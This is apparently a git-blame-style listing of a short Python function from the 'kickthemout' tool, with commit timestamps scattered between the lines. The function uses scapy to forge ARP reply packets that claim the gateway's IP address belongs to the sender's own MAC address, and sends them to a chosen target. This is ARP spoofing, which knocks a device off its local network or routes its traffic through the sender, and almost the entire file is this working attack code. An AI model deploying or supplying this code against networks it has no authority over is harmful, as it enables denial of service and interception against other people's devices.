2016-12-28 11:26:03 +01:00
|
|
|
#kickthemout/scan.py by @xdavidhu
|
|
|
|
|
2016-12-30 22:17:24 +01:00
|
|
|
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
|
2016-12-27 23:45:19 +01:00
|
|
|
|
2016-12-28 10:11:31 +01:00
|
|
|
import sys
|
|
|
|
from scapy.all import (
|
|
|
|
get_if_hwaddr,
|
|
|
|
getmacbyip,
|
|
|
|
ARP,
|
|
|
|
Ether,
|
|
|
|
sendp
|
|
|
|
)
|
2016-12-27 23:45:19 +01:00
|
|
|
|
2016-12-28 10:11:31 +01:00
|
|
|
ether = Ether()
|
|
|
|
ether.src = my_mac
|
2016-12-27 23:45:19 +01:00
|
|
|
|
2016-12-28 10:11:31 +01:00
|
|
|
arp = ARP()
|
2016-12-30 22:17:24 +01:00
|
|
|
arp.psrc = gateway_ip
|
2016-12-28 10:11:31 +01:00
|
|
|
arp.hwsrc = my_mac
|
2016-12-27 23:45:19 +01:00
|
|
|
|
2016-12-28 10:11:31 +01:00
|
|
|
arp = arp
|
|
|
|
arp.pdst = target_ip
|
|
|
|
arp.hwdst = target_mac
|
2016-12-27 23:45:19 +01:00
|
|
|
|
2016-12-28 10:11:31 +01:00
|
|
|
ether = ether
|
|
|
|
ether.src = my_mac
|
|
|
|
ether.dst = target_mac
|
2016-12-27 23:45:19 +01:00
|
|
|
|
|
|
|
arp.op = 2
|
|
|
|
packet = ether/arp
|
2016-12-30 22:17:24 +01:00
|
|
|
sendp(x=packet, verbose=False)
|